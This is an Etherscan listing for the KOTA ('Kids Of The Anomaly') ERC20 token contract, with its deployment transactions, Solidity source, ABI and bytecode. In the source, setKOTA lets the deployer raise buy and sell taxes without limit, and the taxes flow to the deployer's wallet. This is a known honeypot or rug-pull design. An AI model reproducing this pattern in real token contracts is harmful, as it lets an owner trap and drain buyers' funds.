ETH Price: $2,542.70 (-3.95%)
Gas: 1 Gwei

Contract

0xcba3F7026523a67c89210f94B6BC401a238f10a6
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve183596892023-10-16 1:35:47301 days ago1697420147IN
0xcba3F702...a238f10a6
0 ETH0.000239095.152451
Approve183596822023-10-16 1:34:23301 days ago1697420063IN
0xcba3F702...a238f10a6
0 ETH0.000408218.78567086
Approve183596812023-10-16 1:34:11301 days ago1697420051IN
0xcba3F702...a238f10a6
0 ETH0.0009471220.3892683
Set KOTA183596802023-10-16 1:33:59301 days ago1697420039IN
0xcba3F702...a238f10a6
0 ETH0.00015635.8300956
Approve183596792023-10-16 1:33:47301 days ago1697420027IN
0xcba3F702...a238f10a6
0 ETH0.000401718.64576692
Open Trading183596782023-10-16 1:33:35301 days ago1697420015IN
0xcba3F702...a238f10a6
0 ETH0.000163066.15442142
Approve183596492023-10-16 1:27:47301 days ago1697419667IN
0xcba3F702...a238f10a6
0 ETH0.000259485.61946428
0x60806040183596432023-10-16 1:26:35301 days ago1697419595IN
 Create: KidsOfTheAnomaly
0 ETH0.004036195.3

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
KidsOfTheAnomaly

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2023-10-16
*/

/*

The end is near, but we're just getting started.

100,000,000 $KOTA
2/2 TAX

Telegram: https://t.me/KidsOfTheAnomalyTG
Twitter: https://twitter.com/KOTA_ERC20
Website: https://kidsoftheanomaly.site

*/
// SPDX-License-Identifier: unlicense

pragma solidity ^0.8.20;

    interface IUniswapV2Router02 {
        function swapExactTokensForETHSupportingFeeOnTransferTokens(
            uint amountIn,
            uint amountOutMin,
            address[] calldata path,
            address to,
            uint deadline
            ) external;
        }
        
    contract KidsOfTheAnomaly {
        string public constant name = "Kids Of The Anomaly";  //
        string public constant symbol = "KOTA";  //
        uint8 public constant decimals = 18;
        uint256 public constant totalSupply = 100_000_000 * 10**decimals;

        uint256 BurnToken = 2;
        uint256 SpendToken = 2;
        uint256 constant swapAmount = totalSupply / 100;

        mapping (address => uint256) public balanceOf;
        mapping (address => mapping (address => uint256)) public allowance;
            
        error Permissions();
            
        event Transfer(address indexed from, address indexed to, uint256 value);
        event Approval(
            address indexed owner,
            address indexed spender,
            uint256 value
        );
            

        address private pair;
        address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
        address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
        IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress);
        address payable constant deployer = payable(address(0x71aF0a9473E06bD88b848737A327e2b554F696b5)); //

        bool private swapping;
        bool private tradingOpen;

        constructor() {
            balanceOf[msg.sender] = totalSupply;
            allowance[address(this)][routerAddress] = type(uint256).max;
            emit Transfer(address(0), msg.sender, totalSupply);
        }

         receive() external payable {}

        function approve(address spender, uint256 amount) external returns (bool){
            allowance[msg.sender][spender] = amount;
            emit Approval(msg.sender, spender, amount);
            return true;
        }

        function transfer(address to, uint256 amount) external returns (bool){
            return _transfer(msg.sender, to, amount);
        }

        function transferFrom(address from, address to, uint256 amount) external returns (bool){
            allowance[from][msg.sender] -= amount;        
            return _transfer(from, to, amount);
        }

        function _transfer(address from, address to, uint256 amount) internal returns (bool){
            require(tradingOpen || from == deployer || to == deployer);

            if(!tradingOpen && pair == address(0) && amount > 0)
                pair = to;

            balanceOf[from] -= amount;

            if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount){
                swapping = true;
                address[] memory path = new  address[](2);
                path[0] = address(this);
                path[1] = ETH;
                _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                    );
                deployer.transfer(address(this).balance);
                swapping = false;
                }

            if(from != address(this)){
                uint256 taxAmount = amount * (from == pair ? BurnToken : SpendToken) / 100;
                amount -= taxAmount;
                balanceOf[address(this)] += taxAmount;
            }
                balanceOf[to] += amount;
                emit Transfer(from, to, amount);
                return true;
            }

        function openTrading() external {
            require(msg.sender == deployer);
            require(!tradingOpen);
            tradingOpen = true;        
            }

            function _setKOTA(uint256 newBurn, uint256 newSpend) private {
            BurnToken = newBurn;
            SpendToken = newSpend;
            }

        function setKOTA(uint256 newBurn, uint256 newSpend) external {
            if(msg.sender != deployer)        
                revert Permissions();
            _setKOTA(newBurn, newSpend);
            }
        }

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBurn","type":"uint256"},{"internalType":"uint256","name":"newSpend","type":"uint256"}],"name":"setKOTA","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260025f55600260015534801562000019575f80fd5b50620000286012600a620001dd565b62000038906305f5e100620001f4565b335f8181526002602090815260408083209490945530825260038152838220737a250d5630b4cf539739df2c5dacb4c659f2488d835290529182205f199055907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620000a76012600a620001dd565b620000b7906305f5e100620001f4565b60405190815260200160405180910390a36200020e565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200012257815f1904821115620001065762000106620000ce565b808516156200011457918102915b93841c9390800290620000e7565b509250929050565b5f826200013a57506001620001d7565b816200014857505f620001d7565b81600181146200016157600281146200016c576200018c565b6001915050620001d7565b60ff841115620001805762000180620000ce565b50506001821b620001d7565b5060208310610133831016604e8410600b8410161715620001b1575081810a620001d7565b620001bd8383620000e2565b805f1904821115620001d357620001d3620000ce565b0290505b92915050565b5f620001ed60ff8416836200012a565b9392505050565b8082028115828204841417620001d757620001d7620000ce565b610b02806200021c5f395ff3fe60806040526004361061009d575f3560e01c80634279b22d116100625780634279b22d1461019257806370a08231146101b357806395d89b41146101de578063a9059cbb1461020d578063c9567bf91461022c578063dd62ed3e14610240575f80fd5b806306fdde03146100a8578063095ea7b3146100fc57806318160ddd1461012b57806323b872dd1461014d578063313ce5671461016c575f80fd5b366100a457005b5f80fd5b3480156100b3575f80fd5b506100e6604051806040016040528060138152602001724b696473204f662054686520416e6f6d616c7960681b81525081565b6040516100f391906107ba565b60405180910390f35b348015610107575f80fd5b5061011b610116366004610820565b610276565b60405190151581526020016100f3565b348015610136575f80fd5b5061013f6102e2565b6040519081526020016100f3565b348015610158575f80fd5b5061011b610167366004610848565b6102ff565b348015610177575f80fd5b50610180601281565b60405160ff90911681526020016100f3565b34801561019d575f80fd5b506101b16101ac366004610881565b61034c565b005b3480156101be575f80fd5b5061013f6101cd3660046108a1565b60026020525f908152604090205481565b3480156101e9575f80fd5b506100e6604051806040016040528060048152602001634b4f544160e01b81525081565b348015610218575f80fd5b5061011b610227366004610820565b610389565b348015610237575f80fd5b506101b161039c565b34801561024b575f80fd5b5061013f61025a3660046108ba565b600360209081525f928352604080842090915290825290205481565b335f8181526003602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906102d09086815260200190565b60405180910390a35060015b92915050565b6102ee6012600a6109df565b6102fc906305f5e1006109ed565b81565b6001600160a01b0383165f908152600360209081526040808320338452909152812080548391908390610333908490610a04565b9091555061034490508484846103e6565b949350505050565b337371af0a9473e06bd88b848737a327e2b554f696b51461037f57604051629af2b160e81b815260040160405180910390fd5b5f91909155600155565b5f6103953384846103e6565b9392505050565b337371af0a9473e06bd88b848737a327e2b554f696b5146103bb575f80fd5b600454600160a81b900460ff16156103d1575f80fd5b6004805460ff60a81b1916600160a81b179055565b6004545f90600160a81b900460ff168061041c57506001600160a01b0384167371af0a9473e06bd88b848737a327e2b554f696b5145b8061044357506001600160a01b0383167371af0a9473e06bd88b848737a327e2b554f696b5145b61044b575f80fd5b600454600160a81b900460ff1615801561046e57506004546001600160a01b0316155b801561047957505f82115b1561049a57600480546001600160a01b0319166001600160a01b0385161790555b6001600160a01b0384165f90815260026020526040812080548492906104c1908490610a04565b90915550506004546001600160a01b0384811691161480156104ed5750600454600160a01b900460ff16155b801561052c575060646105026012600a6109df565b610510906305f5e1006109ed565b61051a9190610a17565b305f9081526002602052604090205410155b156106b6576004805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061057757610577610a36565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816001815181106105bf576105bf610a36565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63791ac94760646105ff6012600a6109df565b61060d906305f5e1006109ed565b6106179190610a17565b5f8430426040518663ffffffff1660e01b815260040161063b959493929190610a4a565b5f604051808303815f87803b158015610652575f80fd5b505af1158015610664573d5f803e3d5ffd5b50506040517371af0a9473e06bd88b848737a327e2b554f696b592504780156108fc029250905f818181858888f193505050501580156106a6573d5f803e3d5ffd5b50506004805460ff60a01b191690555b6001600160a01b0384163014610735576004545f906064906001600160a01b038781169116146106e8576001546106eb565b5f545b6106f590856109ed565b6106ff9190610a17565b905061070b8184610a04565b305f9081526002602052604081208054929550839290919061072e908490610ab9565b9091555050505b6001600160a01b0383165f908152600260205260408120805484929061075c908490610ab9565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107a891815260200190565b60405180910390a35060019392505050565b5f6020808352835180828501525f5b818110156107e5578581018301518582016040015282016107c9565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461081b575f80fd5b919050565b5f8060408385031215610831575f80fd5b61083a83610805565b946020939093013593505050565b5f805f6060848603121561085a575f80fd5b61086384610805565b925061087160208501610805565b9150604084013590509250925092565b5f8060408385031215610892575f80fd5b50508035926020909101359150565b5f602082840312156108b1575f80fd5b61039582610805565b5f80604083850312156108cb575f80fd5b6108d483610805565b91506108e260208401610805565b90509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561093957815f190482111561091f5761091f6108eb565b8085161561092c57918102915b93841c9390800290610904565b509250929050565b5f8261094f575060016102dc565b8161095b57505f6102dc565b8160018114610971576002811461097b57610997565b60019150506102dc565b60ff84111561098c5761098c6108eb565b50506001821b6102dc565b5060208310610133831016604e8410600b84101617156109ba575081810a6102dc565b6109c483836108ff565b805f19048211156109d7576109d76108eb565b029392505050565b5f61039560ff841683610941565b80820281158282048414176102dc576102dc6108eb565b818103818111156102dc576102dc6108eb565b5f82610a3157634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015610a985784516001600160a01b031683529383019391830191600101610a73565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156102dc576102dc6108eb56fea2646970667358221220ed53acbc94b7cfe7051077cbe883aea6cef5fcca3f098f746f938804b06274fa64736f6c63430008140033

Deployed Bytecode

0x60806040526004361061009d575f3560e01c80634279b22d116100625780634279b22d1461019257806370a08231146101b357806395d89b41146101de578063a9059cbb1461020d578063c9567bf91461022c578063dd62ed3e14610240575f80fd5b806306fdde03146100a8578063095ea7b3146100fc57806318160ddd1461012b57806323b872dd1461014d578063313ce5671461016c575f80fd5b366100a457005b5f80fd5b3480156100b3575f80fd5b506100e6604051806040016040528060138152602001724b696473204f662054686520416e6f6d616c7960681b81525081565b6040516100f391906107ba565b60405180910390f35b348015610107575f80fd5b5061011b610116366004610820565b610276565b60405190151581526020016100f3565b348015610136575f80fd5b5061013f6102e2565b6040519081526020016100f3565b348015610158575f80fd5b5061011b610167366004610848565b6102ff565b348015610177575f80fd5b50610180601281565b60405160ff90911681526020016100f3565b34801561019d575f80fd5b506101b16101ac366004610881565b61034c565b005b3480156101be575f80fd5b5061013f6101cd3660046108a1565b60026020525f908152604090205481565b3480156101e9575f80fd5b506100e6604051806040016040528060048152602001634b4f544160e01b81525081565b348015610218575f80fd5b5061011b610227366004610820565b610389565b348015610237575f80fd5b506101b161039c565b34801561024b575f80fd5b5061013f61025a3660046108ba565b600360209081525f928352604080842090915290825290205481565b335f8181526003602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906102d09086815260200190565b60405180910390a35060015b92915050565b6102ee6012600a6109df565b6102fc906305f5e1006109ed565b81565b6001600160a01b0383165f908152600360209081526040808320338452909152812080548391908390610333908490610a04565b9091555061034490508484846103e6565b949350505050565b337371af0a9473e06bd88b848737a327e2b554f696b51461037f57604051629af2b160e81b815260040160405180910390fd5b5f91909155600155565b5f6103953384846103e6565b9392505050565b337371af0a9473e06bd88b848737a327e2b554f696b5146103bb575f80fd5b600454600160a81b900460ff16156103d1575f80fd5b6004805460ff60a81b1916600160a81b179055565b6004545f90600160a81b900460ff168061041c57506001600160a01b0384167371af0a9473e06bd88b848737a327e2b554f696b5145b8061044357506001600160a01b0383167371af0a9473e06bd88b848737a327e2b554f696b5145b61044b575f80fd5b600454600160a81b900460ff1615801561046e57506004546001600160a01b0316155b801561047957505f82115b1561049a57600480546001600160a01b0319166001600160a01b0385161790555b6001600160a01b0384165f90815260026020526040812080548492906104c1908490610a04565b90915550506004546001600160a01b0384811691161480156104ed5750600454600160a01b900460ff16155b801561052c575060646105026012600a6109df565b610510906305f5e1006109ed565b61051a9190610a17565b305f9081526002602052604090205410155b156106b6576004805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061057757610577610a36565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816001815181106105bf576105bf610a36565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63791ac94760646105ff6012600a6109df565b61060d906305f5e1006109ed565b6106179190610a17565b5f8430426040518663ffffffff1660e01b815260040161063b959493929190610a4a565b5f604051808303815f87803b158015610652575f80fd5b505af1158015610664573d5f803e3d5ffd5b50506040517371af0a9473e06bd88b848737a327e2b554f696b592504780156108fc029250905f818181858888f193505050501580156106a6573d5f803e3d5ffd5b50506004805460ff60a01b191690555b6001600160a01b0384163014610735576004545f906064906001600160a01b038781169116146106e8576001546106eb565b5f545b6106f590856109ed565b6106ff9190610a17565b905061070b8184610a04565b305f9081526002602052604081208054929550839290919061072e908490610ab9565b9091555050505b6001600160a01b0383165f908152600260205260408120805484929061075c908490610ab9565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107a891815260200190565b60405180910390a35060019392505050565b5f6020808352835180828501525f5b818110156107e5578581018301518582016040015282016107c9565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461081b575f80fd5b919050565b5f8060408385031215610831575f80fd5b61083a83610805565b946020939093013593505050565b5f805f6060848603121561085a575f80fd5b61086384610805565b925061087160208501610805565b9150604084013590509250925092565b5f8060408385031215610892575f80fd5b50508035926020909101359150565b5f602082840312156108b1575f80fd5b61039582610805565b5f80604083850312156108cb575f80fd5b6108d483610805565b91506108e260208401610805565b90509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561093957815f190482111561091f5761091f6108eb565b8085161561092c57918102915b93841c9390800290610904565b509250929050565b5f8261094f575060016102dc565b8161095b57505f6102dc565b8160018114610971576002811461097b57610997565b60019150506102dc565b60ff84111561098c5761098c6108eb565b50506001821b6102dc565b5060208310610133831016604e8410600b84101617156109ba575081810a6102dc565b6109c483836108ff565b805f19048211156109d7576109d76108eb565b029392505050565b5f61039560ff841683610941565b80820281158282048414176102dc576102dc6108eb565b818103818111156102dc576102dc6108eb565b5f82610a3157634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015610a985784516001600160a01b031683529383019391830191600101610a73565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156102dc576102dc6108eb56fea2646970667358221220ed53acbc94b7cfe7051077cbe883aea6cef5fcca3f098f746f938804b06274fa64736f6c63430008140033

Deployed Bytecode Sourcemap

593:4054:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;630:51;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;630:51:0;;;;;;;;;;;;:::i;:::-;;;;;;;;2158:222;;;;;;;;;;-1:-1:-1;2158:222:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;2158:222:0;1004:187:1;795:64:0;;;;;;;;;;;;;:::i;:::-;;;1342:25:1;;;1330:2;1315:18;795:64:0;1196:177:1;2540:208:0;;;;;;;;;;-1:-1:-1;2540:208:0;;;;;:::i;:::-;;:::i;749:35::-;;;;;;;;;;;;782:2;749:35;;;;;1883:4:1;1871:17;;;1853:36;;1841:2;1826:18;749:35:0;1711:184:1;4430:206:0;;;;;;;;;;-1:-1:-1;4430:206:0;;;;;:::i;:::-;;:::i;:::-;;997:45;;;;;;;;;;-1:-1:-1;997:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;696:38;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;696:38:0;;;;;2392:136;;;;;;;;;;-1:-1:-1;2392:136:0;;;;;:::i;:::-;;:::i;4084:171::-;;;;;;;;;;;;;:::i;1053:66::-;;;;;;;;;;-1:-1:-1;1053:66:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;2158:222;2256:10;2226:4;2246:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;2246:30:0;;;;;;;;;;:39;;;2305:37;2226:4;;2246:30;;2305:37;;;;2279:6;1342:25:1;;1330:2;1315:18;;1196:177;2305:37:0;;;;;;;;-1:-1:-1;2364:4:0;2158:222;;;;;:::o;795:64::-;847:12;782:2;847;:12;:::i;:::-;833:26;;:11;:26;:::i;:::-;795:64;:::o;2540:208::-;-1:-1:-1;;;;;2642:15:0;;2622:4;2642:15;;;:9;:15;;;;;;;;2658:10;2642:27;;;;;;;:37;;2673:6;;2642:27;2622:4;;2642:37;;2673:6;;2642:37;:::i;:::-;;;;-1:-1:-1;2709:27:0;;-1:-1:-1;2719:4:0;2725:2;2729:6;2709:9;:27::i;:::-;2702:34;2540:208;-1:-1:-1;;;;2540:208:0:o;4430:206::-;4509:10;1760:42;4509:22;4506:72;;4565:13;;-1:-1:-1;;;4565:13:0;;;;;;;;;;;4506:72;4347:9;:19;;;;4381:10;:21;4430:206::o;2392:136::-;2456:4;2483:33;2493:10;2505:2;2509:6;2483:9;:33::i;:::-;2476:40;2392:136;-1:-1:-1;;;2392:136:0:o;4084:171::-;4139:10;1760:42;4139:22;4131:31;;;;;;4186:11;;-1:-1:-1;;;4186:11:0;;;;4185:12;4177:21;;;;;;4213:11;:18;;-1:-1:-1;;;;4213:18:0;-1:-1:-1;;;4213:18:0;;;4084:171::o;2760:1312::-;2867:11;;2839:4;;-1:-1:-1;;;2867:11:0;;;;;:31;;-1:-1:-1;;;;;;2882:16:0;;1760:42;2882:16;2867:31;:49;;;-1:-1:-1;;;;;;2902:14:0;;1760:42;2902:14;2867:49;2859:58;;;;;;2938:11;;-1:-1:-1;;;2938:11:0;;;;2937:12;:34;;;;-1:-1:-1;2953:4:0;;-1:-1:-1;;;;;2953:4:0;:18;2937:34;:48;;;;;2984:1;2975:6;:10;2937:48;2934:79;;;3004:4;:9;;-1:-1:-1;;;;;;3004:9:0;-1:-1:-1;;;;;3004:9:0;;;;;2934:79;-1:-1:-1;;;;;3030:15:0;;;;;;:9;:15;;;;;:25;;3049:6;;3030:15;:25;;3049:6;;3030:25;:::i;:::-;;;;-1:-1:-1;;3082:4:0;;-1:-1:-1;;;;;3076:10:0;;;3082:4;;3076:10;:23;;;;-1:-1:-1;3091:8:0;;-1:-1:-1;;;3091:8:0;;;;3090:9;3076:23;:65;;;;-1:-1:-1;981:3:0;847:12;782:2;847;:12;:::i;:::-;833:26;;:11;:26;:::i;:::-;967:17;;;;:::i;:::-;3121:4;3103:24;;;;:9;:24;;;;;;:38;;3076:65;3072:619;;;3161:8;:15;;-1:-1:-1;;;;3161:15:0;-1:-1:-1;;;3161:15:0;;;3219:17;;;3234:1;3219:17;;;;;;;;-1:-1:-1;;3219:17:0;;;;;;;;;;-1:-1:-1;3219:17:0;3195:41;;3273:4;3255;3260:1;3255:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;3255:23:0;;;-1:-1:-1;;;;;3255:23:0;;;;;1478:42;3297:4;3302:1;3297:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;3297:13:0;;;:7;;;;;;;;;;;:13;1564:42;3329:67;981:3;847:12;782:2;847;:12;:::i;:::-;833:26;;:11;:26;:::i;:::-;967:17;;;;:::i;:::-;3452:1;3476:4;3511;3539:15;3329:248;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;3596:40:0;;1760:42;;-1:-1:-1;3614:21:0;3596:40;;;;;-1:-1:-1;3614:21:0;3596:40;;;;3614:21;1760:42;3596:40;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;3655:8:0;:16;;-1:-1:-1;;;;3655:16:0;;;3072:619;-1:-1:-1;;;;;3710:21:0;;3726:4;3710:21;3707:228;;3789:4;;3751:17;;3822:3;;-1:-1:-1;;;;;3781:12:0;;;3789:4;;3781:12;:37;;3808:10;;3781:37;;;3796:9;;3781:37;3771:48;;:6;:48;:::i;:::-;:54;;;;:::i;:::-;3751:74;-1:-1:-1;3844:19:0;3751:74;3844:19;;:::i;:::-;3900:4;3882:24;;;;:9;:24;;;;;:37;;3844:19;;-1:-1:-1;3910:9:0;;3882:24;;;:37;;3910:9;;3882:37;:::i;:::-;;;;-1:-1:-1;;;3707:228:0;-1:-1:-1;;;;;3953:13:0;;;;;;:9;:13;;;;;:23;;3970:6;;3953:13;:23;;3970:6;;3953:23;:::i;:::-;;;;;;;;4015:2;-1:-1:-1;;;;;4000:26:0;4009:4;-1:-1:-1;;;;;4000:26:0;;4019:6;4000:26;;;;1342:25:1;;1330:2;1315:18;;1196:177;4000:26:0;;;;;;;;-1:-1:-1;4052:4:0;2760:1312;;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1900:248::-;1968:6;1976;2029:2;2017:9;2008:7;2004:23;2000:32;1997:52;;;2045:1;2042;2035:12;1997:52;-1:-1:-1;;2068:23:1;;;2138:2;2123:18;;;2110:32;;-1:-1:-1;1900:248:1:o;2153:186::-;2212:6;2265:2;2253:9;2244:7;2240:23;2236:32;2233:52;;;2281:1;2278;2271:12;2233:52;2304:29;2323:9;2304:29;:::i;2344:260::-;2412:6;2420;2473:2;2461:9;2452:7;2448:23;2444:32;2441:52;;;2489:1;2486;2479:12;2441:52;2512:29;2531:9;2512:29;:::i;:::-;2502:39;;2560:38;2594:2;2583:9;2579:18;2560:38;:::i;:::-;2550:48;;2344:260;;;;;:::o;2609:127::-;2670:10;2665:3;2661:20;2658:1;2651:31;2701:4;2698:1;2691:15;2725:4;2722:1;2715:15;2741:422;2830:1;2873:5;2830:1;2887:270;2908:7;2898:8;2895:21;2887:270;;;2967:4;2963:1;2959:6;2955:17;2949:4;2946:27;2943:53;;;2976:18;;:::i;:::-;3026:7;3016:8;3012:22;3009:55;;;3046:16;;;;3009:55;3125:22;;;;3085:15;;;;2887:270;;;2891:3;2741:422;;;;;:::o;3168:806::-;3217:5;3247:8;3237:80;;-1:-1:-1;3288:1:1;3302:5;;3237:80;3336:4;3326:76;;-1:-1:-1;3373:1:1;3387:5;;3326:76;3418:4;3436:1;3431:59;;;;3504:1;3499:130;;;;3411:218;;3431:59;3461:1;3452:10;;3475:5;;;3499:130;3536:3;3526:8;3523:17;3520:43;;;3543:18;;:::i;:::-;-1:-1:-1;;3599:1:1;3585:16;;3614:5;;3411:218;;3713:2;3703:8;3700:16;3694:3;3688:4;3685:13;3681:36;3675:2;3665:8;3662:16;3657:2;3651:4;3648:12;3644:35;3641:77;3638:159;;;-1:-1:-1;3750:19:1;;;3782:5;;3638:159;3829:34;3854:8;3848:4;3829:34;:::i;:::-;3899:6;3895:1;3891:6;3887:19;3878:7;3875:32;3872:58;;;3910:18;;:::i;:::-;3948:20;;3168:806;-1:-1:-1;;;3168:806:1:o;3979:140::-;4037:5;4066:47;4107:4;4097:8;4093:19;4087:4;4066:47;:::i;4124:168::-;4197:9;;;4228;;4245:15;;;4239:22;;4225:37;4215:71;;4266:18;;:::i;4297:128::-;4364:9;;;4385:11;;;4382:37;;;4399:18;;:::i;4430:217::-;4470:1;4496;4486:132;;4540:10;4535:3;4531:20;4528:1;4521:31;4575:4;4572:1;4565:15;4603:4;4600:1;4593:15;4486:132;-1:-1:-1;4632:9:1;;4430:217::o;4784:127::-;4845:10;4840:3;4836:20;4833:1;4826:31;4876:4;4873:1;4866:15;4900:4;4897:1;4890:15;4916:980;5178:4;5226:3;5215:9;5211:19;5257:6;5246:9;5239:25;5283:2;5321:6;5316:2;5305:9;5301:18;5294:34;5364:3;5359:2;5348:9;5344:18;5337:31;5388:6;5423;5417:13;5454:6;5446;5439:22;5492:3;5481:9;5477:19;5470:26;;5531:2;5523:6;5519:15;5505:29;;5552:1;5562:195;5576:6;5573:1;5570:13;5562:195;;;5641:13;;-1:-1:-1;;;;;5637:39:1;5625:52;;5732:15;;;;5697:12;;;;5673:1;5591:9;5562:195;;;-1:-1:-1;;;;;;;5813:32:1;;;;5808:2;5793:18;;5786:60;-1:-1:-1;;;5877:3:1;5862:19;5855:35;5774:3;4916:980;-1:-1:-1;;;4916:980:1:o;5901:125::-;5966:9;;;5987:10;;;5984:36;;;6000:18;;:::i

Swarm Source

ipfs://ed53acbc94b7cfe7051077cbe883aea6cef5fcca3f098f746f938804b06274fa

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
